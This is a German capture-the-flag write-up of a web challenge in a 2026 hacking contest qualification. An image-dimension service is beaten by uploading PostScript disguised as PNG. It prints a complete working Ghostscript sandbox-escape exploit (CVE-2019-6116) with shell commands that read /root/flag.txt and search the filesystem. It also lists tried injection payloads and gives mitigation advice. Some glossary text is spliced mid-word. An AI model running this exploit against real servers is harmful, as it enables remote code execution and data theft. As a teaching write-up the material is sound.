Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | Web |
| Punkte | 498 |
| Angriffsklasse | Content-Type-Bypass → Ghostscript SandboxSandboxingFührt unbekannten Code isoliert aus, um Auswirkungen und Verhalten zu beobachten. Escape (CVE-2019-6116) → RCERemote Code ExecutionSchwachstelle oder Angriff, der Code auf einem entfernten Ziel ausführen lässt. |
| Flag | DBH{S0met1mes-Gh0sTs-ar3-g00d-aT-sCr1pT1nG_XXX} |
Die Challenge
„PixelProbe“ ist ein Image-Dimension-Service (v1.2.1-prod), der hochgeladene Bilder
analysiert und Dimensionen, Dateigröße und Format zurückgibt. Eine Warnung sagt:
PostScript and PDF uploads have been disabled since v1.2 for security reasons.
Der Server läuft auf PHP/7.0.33 auf Debian 9 — alte Software mit bekannten Schwachstellen in ImageMagick und Ghostscript. Genau das ist der AngriffspfadAttack PathAbfolge aus Schwachstellen, Berechtigungen und Systembeziehungen, die ein Angriff ausnutzen kann..
Aufklärung
Die „Deaktivierung“ von PostScript und PDF prüft nur die Dateiendung (.ps, .pdf →
abgelehnt), nicht den Datei-Inhalt. ImageMagick dagegen erkennt Formate anhand der Magic
Bytes.
Test: PDF-Inhalt als .png hochladen.
cat > exploit.pdf.png << 'EOF'
%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj
...
%%EOF
EOF
curl -F 'file_upload=@exploit.pdf.png;type=image/png' <URL>/index.php
Ergebnis: 612 x 792 px — US Letter. Ghostscript hat die PDF also verarbeitet.
Ebenso funktioniert SVG-Inhalt als .png:
<svg viewBox="0 0 800 400" xmlns="http://www.w3.org/2000/svg">
<rect width="800" height="400" fill="red"/>
</svg>
Ergebnis: 800 x 400 px — die viewBox-Dimensionen werden gelesen. Der Extension-Check ist damit vollständig umgangen.
Die Schwachstelle
Debian 9 enthält Ghostscript ≤ 9.26, anfällig für CVE-2019-6116. Der ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt. nutzt eine
Type-Confusion in .actual_pdfpaintproc, um an den .forceput-Operator zu gelangen und
damit die -dSAFER-Sandbox komplett zu deaktivieren.
Der Exploit als PostScript-Datei, gespeichert als .png:
%!PS
% CVE-2019-6116 - GhostScript Sandbox Bypass
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
save restore
stop
} def
errordict /typecheck {
/typecount typecount 1 add def
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { quit } if
} put
<<
/typecount 0
/PDFfile { currentfile }
/q { }
/oget { pop pop 0 }
/pdfemptycount { }
/gput { }
/resolvestream { }
/pdfopdict { }
/.pdfruncontext { 0 1 mark }
/pdfdict { true }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
% Sandbox ist deaktiviert — beliebige Befehle möglich
(%pipe%cat /root/flag.txt > /var/www/html/the_flag.txt) (w) file closefile
quit
Der Angriff
Der vollständige Ablauf:
PostScript als .png hochladen
│
▼
Extension-Check: .png → erlaubt
│
▼
ImageMagick identify: erkennt %!PS Magic Bytes → Ghostscript Delegate
│
▼
Ghostscript führt PostScript aus:
1. .actual_pdfpaintproc → Type-Confusion → .forceput
2. SAFER = false, alle Dateizugriffe erlaubt
3. %pipe% → Shell-Command: cat /root/flag.txt > Webroot
│
▼
Flag unter /the_flag.txt abrufbar
Da der Pfad der Flag zunächst unbekannt war, habe ich mit derselben Primitive erst das Dateisystem durchsucht:
(%pipe%find / -name "*flag*" -type f 2>/dev/null > /var/www/html/find_flag.txt) (w) file closefile
Das Ergebnis zeigte unter anderem /root/flag.txt und /run/flag. Beide enthalten dieselbe
Flag.
Fehlversuche. Diese Vektoren führten nicht zum Ziel:
| Vektor | Problem |
|---|---|
SVG XXEXML External Entity AttackMissbraucht unsicher konfigurierte XML-Parser zum Lesen von Daten oder Ausführen interner Anfragen. (<!ENTITY>) |
ImageMagick-SVG-Parser verarbeitet keine externen Entities |
SVG xlink:href="text:/etc/passwd" |
Dimensionen kommen aus viewBox, nicht aus Content |
| ImageTragick MVG-Payloads | MVG-Format wird nicht erkannt |
PDF mit PostScript XObject (/Subtype /PS) |
Ghostscript ignoriert PS XObjects bei identify |
Einfacher PostScript-Exploit (userdict /setpagedevice undef) |
Sandbox blockiert den naiven Ansatz |
| CVE-2022-44268 (PNG tEXt profile) | Dateigröße = Input-Größe, kein Leak möglich |
Filename-InjectionInjection AttackManipuliert Interpreter oder Anwendungen durch eingeschleuste Befehle oder Daten. ($(id)) |
Dateiname wird HTML-escaped, nicht in der Shell ausgeführt |
Die Flag
DBH{S0met1mes-Gh0sTs-ar3-g00d-aT-sCr1pT1nG_XXX}
Was ich mitnehme
-
Extension-basierte Formatprüfung ist wirkungslos, wenn dahinter eine Komponente content-basiert erkennt. ImageMagick liest Magic Bytes — die Dateiendung ist für den Delegate-Aufruf irrelevant.
-
Alte Ghostscript-Versionen (≤ 9.26) sind trivial ausbeutbar über CVE-2019-6116. Ein Blick auf
Server-Header und Distribution reicht oft, um die Version einzugrenzen. -
Die sicherste Mitigation ist eine
policy.xmlmit content-basierter Coder-Beschränkung:<policy domain="coder" rights="none" pattern="{PS,PS2,PS3,EPS,PDF,XPS}" /> -
Oder besser: Ghostscript gar nicht erst als Delegate zulassen, wenn nur Rasterformate benötigt werden.